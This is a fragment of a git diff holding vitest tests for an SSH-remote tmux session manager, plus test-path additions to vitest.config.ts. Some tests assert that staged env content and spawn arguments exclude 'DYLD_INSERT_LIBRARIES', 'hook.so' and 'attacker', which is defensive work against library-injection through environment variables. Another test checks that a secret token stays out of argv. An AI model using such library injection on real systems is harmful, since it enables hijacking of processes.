+ expect(staged[0].content).not.toContain('DYLD_INSERT_LIBRARIES')
+ expect(staged[0].content).not.toContain('hook.so')
+ expect(spawns[0].args.join(' ')).not.toContain('hook.so')
+ expect(spawns[0].args.join(' ')).not.toContain('attacker')
+ })
+
+ it('warns and skips (never argv) when the remote $HOME is unknown', async () => {
+ const warn = vi.spyOn(console, 'warn').mockImplementation(() => {})
+ await manager(async () => ({ env: { PROJECT_TOKEN: 'sekrit' } }))
+ const { remoteHome: _drop, ...noHome } = sshRemote
+ await create({ persistKey: NODE, ownerProjectId: PROJECT, sshRemote: noHome })
+ expect(staged).toHaveLength(0)
+ expect(spawns[0].args.join(' ')).not.toContain('sekrit')
+ expect(warn.mock.calls.flat().join(' ')).toContain('remote session env skipped')
+ warn.mockRestore()
+ })
+
+ it("runs the project's shell inside the REMOTE tmux", async () => {
+ await manager(async () => ({ shell: '/bin/fish' }))
+ await create({ persistKey: NODE, ownerProjectId: PROJECT, sshRemote })
+ expect(spawns[0].args.join(' ')).toContain('/bin/fish')
+ })
+ })
diff --cc vitest.config.ts
index a3fa8827d,07329ceda..022a37f02
--- a/vitest.config.ts
+++ b/vitest.config.ts
@@@ -11,9 -11,12 +11,13 @@@ export default defineConfig(
// .tsx too: component tests (jsdom via a per-file pragma; everything else stays node).
'src/renderer/**/*.test.{ts,tsx}',
'src/server/**/*.test.ts',
+ 'src/session-host/**/*.test.ts',
'test/server/**/*.test.ts',
'test/remote/**/*.test.ts',
+ // Cross-layer acceptance chains (e.g. renderer store + main's pure gates in one flow):
+ // production layering forbids these imports inside src/, so the chain lives here, like
+ // test/server's cross-layer boots.
+ 'test/acceptance/**/*.test.ts',
// Opt-in end-to-end tests against a real sshd in Docker. They self-skip unless
// NODETERM_SSH_DOCKER is set, so a machine without Docker still runs a green suite.
'test/ssh-docker/**/*.test.ts'